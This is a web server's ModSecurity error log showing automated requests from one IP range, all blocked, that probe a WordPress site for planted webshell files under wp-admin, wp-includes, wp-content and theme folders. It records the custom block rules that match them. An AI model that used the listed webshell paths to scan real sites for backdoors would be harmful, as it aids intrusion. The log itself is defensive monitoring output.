[Mon May 25 23:13:53.785336 2026] [:error] [pid 62515:tid 62537] [client 194.5.82.14:62097] [client 194.5.82.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/theme-compat/wp-conflg.php"] [unique_id "ahRnMRig0_XsOwmnrv9pbgAAANQ"]
[Mon May 25 23:13:54.009304 2026] [:error] [pid 62426:tid 62430] [client 194.5.82.8:39027] [client 194.5.82.8] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/images/about.php"] [unique_id "ahRnMkj3D3Mo8ANpTRA0kAAAAAA"]
[Mon May 25 23:13:54.221218 2026] [:error] [pid 62515:tid 62525] [client 194.5.82.8:38833] [client 194.5.82.8] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/cache/tmp/dofault.php"] [unique_id "ahRnMhig0_XsOwmnrv9pbwAAAMg"]
[Mon May 25 23:13:54.431798 2026] [:error] [pid 62722:tid 62746] [client 194.5.82.31:25837] [client 194.5.82.31] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/twentytwentyfive/parts/"] [unique_id "ahRnMqM6ssnLWYf6CVBfqwAAAFY"]
[Mon May 25 23:13:54.677020 2026] [:error] [pid 3698:tid 3723] [client 194.5.82.22:26655] [client 194.5.82.22] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/sunrise/file.php"] [unique_id "ahRnMgtZBEwA4fyFLKMKGQAAARc"]
[Mon May 25 23:13:54.888155 2026] [:error] [pid 3698:tid 3710] [client 194.5.82.16:33841] [client 194.5.82.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/abilities-api/chosen.php"] [unique_id "ahRnMgtZBEwA4fyFLKMKGwAAAQo"]
[Mon May 25 23:13:55.101578 2026] [:error] [pid 3698:tid 3705] [client 194.5.82.32:37767] [client 194.5.82.32] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/database/database.php"] [unique_id "ahRnMwtZBEwA4fyFLKMKHQAAAQU"]
[Mon May 25 23:13:55.324264 2026] [:error] [pid 62515:tid 62540] [client 194.5.82.26:48383] [client 194.5.82.26] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/images/user/"] [unique_id "ahRnMxig0_XsOwmnrv9pcAAAANc"]
[Mon May 25 23:13:55.576421 2026] [:error] [pid 53791:tid 53799] [client 194.5.82.51:26311] [client 194.5.82.51] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/upgrade-temp-backup/photo-gallery/"] [unique_id "ahRnMyCRhhNTD40Nf1U4UgAAAYY"]
[Mon May 25 23:13:55.787658 2026] [:error] [pid 3698:tid 3712] [client 194.5.82.166:30711] [client 194.5.82.166] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/widgets/images/"] [unique_id "ahRnMwtZBEwA4fyFLKMKHwAAAQw"]
[Mon May 25 23:13:56.001059 2026] [:error] [pid 53791:tid 53809] [client 194.5.82.46:46373] [client 194.5.82.46] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/mu-plugins/block-library/"] [unique_id "ahRnNCCRhhNTD40Nf1U4VQAAAZA"]
[Mon May 25 23:13:56.213379 2026] [:error] [pid 62427:tid 62459] [client 194.5.82.4:63875] [client 194.5.82.4] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/ai1wm-backups/ID3/"] [unique_id "ahRnNPMUa83fc4GDyByQOwAAAUI"]
[Mon May 25 23:13:56.426874 2026] [:error] [pid 3698:tid 3713] [client 194.5.82.42:35409] [client 194.5.82.42] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/wp-links.php"] [unique_id "ahRnNAtZBEwA4fyFLKMKIQAAAQ0"]
[Mon May 25 23:13:56.682545 2026] [:error] [pid 3698:tid 3700] [client 194.5.82.37:31809] [client 194.5.82.37] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/admin-ui/"] [unique_id "ahRnNAtZBEwA4fyFLKMKIgAAAQA"]
[Mon May 25 23:13:56.901875 2026] [:error] [pid 53791:tid 53801] [client 194.5.82.24:45805] [client 194.5.82.24] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/user_data/SafetyTips/"] [unique_id "ahRnNCCRhhNTD40Nf1U4VwAAAYg"]
[Mon May 25 23:13:57.117062 2026] [:error] [pid 62722:tid 62728] [client 194.5.82.19:33981] [client 194.5.82.19] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/widgets/ws88.php"] [unique_id "ahRnNaM6ssnLWYf6CVBfrQAAAEQ"]
[Mon May 25 23:13:57.375570 2026] [:error] [pid 62426:tid 62433] [client 194.5.82.20:29445] [client 194.5.82.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/media/zo.php"] [unique_id "ahRnNUj3D3Mo8ANpTRA0lQAAAAM"]
[Mon May 25 23:13:57.598692 2026] [:error] [pid 62515:tid 62533] [client 194.5.82.21:30647] [client 194.5.82.21] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/xltt.php"] [unique_id "ahRnNRig0_XsOwmnrv9pcgAAANA"]
[Mon May 25 23:13:57.812345 2026] [:error] [pid 62428:tid 62495] [client 194.5.82.26:32313] [client 194.5.82.26] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sitemaps/providers/"] [unique_id "ahRnNZNosGBa7mui3VR7-AAAAIs"]
[Mon May 25 23:13:58.028985 2026] [:error] [pid 62428:tid 62488] [client 194.5.82.49:48861] [client 194.5.82.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/users.php"] [unique_id "ahRnNpNosGBa7mui3VR7-QAAAIQ"]
[Mon May 25 23:13:58.284497 2026] [:error] [pid 62428:tid 62503] [client 194.5.82.11:40481] [client 194.5.82.11] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/network/100.php"] [unique_id "ahRnNpNosGBa7mui3VR7-gAAAJM"]
[Mon May 25 23:13:58.501671 2026] [:error] [pid 62515:tid 62532] [client 194.5.82.24:48301] [client 194.5.82.24] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/includes/zo.php"] [unique_id "ahRnNhig0_XsOwmnrv9pdgAAAM8"]
[Mon May 25 23:13:58.714204 2026] [:error] [pid 3698:tid 3708] [client 194.5.82.41:34717] [client 194.5.82.41] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wpxml.php"] [unique_id "ahRnNgtZBEwA4fyFLKMKJwAAAQg"]
[Mon May 25 23:13:58.928417 2026] [:error] [pid 3698:tid 3719] [client 194.5.82.37:52205] [client 194.5.82.37] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/cgi-bin/cgi-bin/upload.php"] [unique_id "ahRnNgtZBEwA4fyFLKMKKAAAARM"]
[Mon May 25 23:13:59.170840 2026] [:error] [pid 62515:tid 62524] [client 194.5.82.30:60769] [client 194.5.82.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/cgi-bin/cgi-bin/cgi-bin/cgi-bin/users.php"] [unique_id "ahRnNxig0_XsOwmnrv9peAAAAMc"]
[Mon May 25 23:13:59.391834 2026] [:error] [pid 62722:tid 62739] [client 194.5.82.165:43257] [client 194.5.82.165] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/fonts/lato/wp-content/plugins/photo-gallery/admin/controllers/images/"] [unique_id "ahRnN6M6ssnLWYf6CVBfrgAAAE8"]
[Mon May 25 23:13:59.603222 2026] [:error] [pid 62515:tid 62517] [client 194.5.82.52:28703] [client 194.5.82.52] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sitemaps/providers/fonts/"] [unique_id "ahRnNxig0_XsOwmnrv9pegAAAMA"]
[Mon May 25 23:13:59.813583 2026] [:error] [pid 53791:tid 53795] [client 194.5.82.36:64847] [client 194.5.82.36] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/theme-compat/patterns/"] [unique_id "ahRnNyCRhhNTD40Nf1U4WwAAAYI"]
[Mon May 25 23:14:00.028697 2026] [:error] [pid 53791:tid 53796] [client 194.5.82.166:56105] [client 194.5.82.166] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/rithin.php"] [unique_id "ahRnOCCRhhNTD40Nf1U4XAAAAYM"]
[Mon May 25 23:14:00.267094 2026] [:error] [pid 62426:tid 62453] [client 194.5.82.45:60987] [client 194.5.82.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/news-portal/zdata.php"] [unique_id "ahRnOEj3D3Mo8ANpTRA0mAAAABc"]
[Mon May 25 23:14:00.484802 2026] [:error] [pid 62426:tid 62454] [client 194.5.82.33:28107] [client 194.5.82.33] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/upgrade/chosen.php"] [unique_id "ahRnOEj3D3Mo8ANpTRA0mQAAABg"]
[Mon May 25 23:14:00.801286 2026] [:error] [pid 62515:tid 62535] [client 194.5.82.46:48863] [client 194.5.82.46] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/news-portal/wp-comand.php"] [unique_id "ahRnOBig0_XsOwmnrv9pfwAAANI"]
[Mon May 25 23:14:01.014514 2026] [:error] [pid 62515:tid 62541] [client 194.5.82.51:45839] [client 194.5.82.51] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/wp-pages.php"] [unique_id "ahRnORig0_XsOwmnrv9pgAAAANg"]
[Mon May 25 23:14:01.228903 2026] [:error] [pid 62515:tid 62522] [client 194.5.82.11:60809] [client 194.5.82.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/block-supports/wp-conflg.php"] [unique_id "ahRnORig0_XsOwmnrv9pgQAAAMU"]
[Mon May 25 23:14:01.471203 2026] [:error] [pid 62515:tid 62538] [client 194.5.82.19:52791] [client 194.5.82.19] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/news-portal/admins-dir.php"] [unique_id "ahRnORig0_XsOwmnrv9pgwAAANU"]
[Mon May 25 23:14:01.682917 2026] [:error] [pid 53791:tid 53802] [client 194.5.82.17:50163] [client 194.5.82.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/module.tag.lyrics3-class.php"] [unique_id "ahRnOSCRhhNTD40Nf1U4XgAAAYk"]
[Mon May 25 23:14:01.898693 2026] [:error] [pid 62426:tid 62446] [client 194.5.82.19:49723] [client 194.5.82.19] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/network/theme-install-variable.php"] [unique_id "ahRnOUj3D3Mo8ANpTRA0oQAAABA"]
[Mon May 25 23:14:02.112855 2026] [:error] [pid 3698:tid 3721] [client 194.5.82.36:43869] [client 194.5.82.36] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/post-excerpt/themes/"] [unique_id "ahRnOgtZBEwA4fyFLKMKKwAAARU"]
[Mon May 25 23:14:02.324930 2026] [:error] [pid 62427:tid 62460] [client 194.5.82.38:27005] [client 194.5.82.38] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/dt-the7/lib/jquery-sticky/theme-compat/"] [unique_id "ahRnOvMUa83fc4GDyByQQAAAAUM"]
[Mon May 25 23:14:02.585591 2026] [:error] [pid 62426:tid 62449] [client 194.5.82.166:28409] [client 194.5.82.166] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/user/upgrade/"] [unique_id "ahRnOkj3D3Mo8ANpTRA0pQAAABM"]
[Mon May 25 23:14:02.800642 2026] [:error] [pid 62426:tid 62453] [client 194.5.82.12:33635] [client 194.5.82.12] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/pki-validation/"] [unique_id "ahRnOkj3D3Mo8ANpTRA0pwAAABc"]
[Mon May 25 23:14:03.012665 2026] [:error] [pid 62426:tid 62454] [client 194.5.82.11:45619] [client 194.5.82.11] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/backups/admin.php"] [unique_id "ahRnO0j3D3Mo8ANpTRA0qAAAABg"]
[Mon May 25 23:14:03.227802 2026] [:error] [pid 62515:tid 62535] [client 194.5.82.166:55367] [client 194.5.82.166] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/twentytwentytwo/admin.php"] [unique_id "ahRnOxig0_XsOwmnrv9pjAAAANI"]
[Mon May 25 23:14:03.438349 2026] [:error] [pid 62427:tid 62464] [client 194.5.82.21:30185] [client 194.5.82.21] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/twentytwentytwo/"] [unique_id "ahRnO_MUa83fc4GDyByQQQAAAUc"]
[Mon May 25 23:14:03.664615 2026] [:error] [pid 62426:tid 62443] [client 194.5.82.37:45801] [client 194.5.82.37] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins-off/core.php"] [unique_id "ahRnO0j3D3Mo8ANpTRA0qQAAAA0"]
[Mon May 25 23:14:03.882672 2026] [:error] [pid 62428:tid 62505] [client 194.5.82.35:33081] [client 194.5.82.35] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/my-custom-theme/config.php"] [unique_id "ahRnO5NosGBa7mui3VR7_AAAAJU"]
[Mon May 25 23:14:04.094498 2026] [:error] [pid 62515:tid 62522] [client 194.5.82.33:50485] [client 194.5.82.33] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/theme/config.php"] [unique_id "ahRnPBig0_XsOwmnrv9pjgAAAMU"]
[Mon May 25 23:14:04.307052 2026] [:error] [pid 3698:tid 3702] [client 194.5.82.4:55835] [client 194.5.82.4] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/my-custom-theme/admin.php"] [unique_id "ahRnPAtZBEwA4fyFLKMKMAAAAQI"]
[Mon May 25 23:14:04.517597 2026] [:error] [pid 3698:tid 3711] [client 194.5.82.24:22495] [client 194.5.82.24] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/maxcoach/"] [unique_id "ahRnPAtZBEwA4fyFLKMKMQAAAQs"]
[Mon May 25 23:14:04.729745 2026] [:error] [pid 62515:tid 62526] [client 194.5.82.38:31937] [client 194.5.82.38] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/min.php"] [unique_id "ahRnPBig0_XsOwmnrv9pjwAAAMk"]
[Mon May 25 23:14:04.975205 2026] [:error] [pid 62515:tid 62523] [client 194.5.82.29:41723] [client 194.5.82.29] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/config.php"] [unique_id "ahRnPBig0_XsOwmnrv9pkAAAAMY"]
[Mon May 25 23:14:05.186092 2026] [:error] [pid 53791:tid 53807] [client 194.5.82.17:62331] [client 194.5.82.17] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/kqsksia/classwithtostring.php"] [unique_id "ahRnPSCRhhNTD40Nf1U4YgAAAY4"]
[Mon May 25 23:14:05.396864 2026] [:error] [pid 53791:tid 53793] [client 194.5.82.50:58463] [client 194.5.82.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/man.php"] [unique_id "ahRnPSCRhhNTD40Nf1U4YwAAAYA"]
